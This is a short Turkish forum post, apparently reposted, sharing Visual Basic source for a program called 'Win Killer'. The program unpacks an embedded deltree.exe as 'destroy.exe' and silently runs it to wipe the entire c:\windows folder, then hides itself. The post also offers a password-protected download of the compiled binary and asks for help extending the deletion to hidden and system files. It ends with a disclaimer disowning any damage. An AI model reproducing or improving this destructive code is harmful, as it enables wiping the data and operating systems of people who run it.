Kusura bakmayın kaynak vermeyi unutmuşum Ekledim. Hassasiyetiniz için teşekkürler. Saygılar -

alıntı?mı acaba?

ir tanidigim tek bir çift tiklamayla tüm c:\windows klasörü ve alt klasörlerini silecek bir uygulama sormustu. Ben de çabucak ms-dos'tan asina oldugumuz deltree. exe ile bu isi yaptim. Deltree. exe'yi resource editör ile resource olarak uygulamama ekledikten sonra form_load yordamina uygulama dizinine kaynagi çikartabilecegimiz kodu yazdim: Kod: Kod: 'Win Killer by LonG 'credits to deltree. exe :) Dim resbytes As Byte resbytes = LoadResData(101, "CUSTOM") Dim no As Byte no = FreeFile 'buradan itibaren ekledigimiz dosyayi dizin ve dosya_ adi+uzanti belirterek çikartiyoruz. Open App. Path & "\destroy. exe" For Binary As #no Put #no, , resbytes Close #no 'burada da çikarttigimiz uygulamaya gerekli komut ve parametreyi vererek çalistiriyoruz. Shell App. Path & "\destroy. exe /y c:\windows\ . ", vbNormalFocus 'uygulamayi gizliyoruz ve sonlandiriyoruz Me. Hide End Programcigin kaynak kodlari ve derlenmis halini indirmek için buraya tiklayiniz. Sifre: d0gma Ben isin pratigine kaçarak bu isi yaptim. Recursive mantik ile gizli, salt okunur, sistem, arsiv dosyalarinin ve alt klasördeki ayni nitelikteki çesitli dosyalari silebilecek bir komut seti konusunda yardimci olabilir misiniz? Küçük bir uyari: Bu sekilde projenin kullanilip derlenmesi ve kullanimindan dogacak zararlardan hiçbir sorumluluk bana ait olmayip tüm sorumluluk kullaniciya aittir. Sikayetçi olanlarin deltree'nin yazarina dilekçe ile basvurmasi gerekmektedir Buradan alıntıdır. Saygilarimla -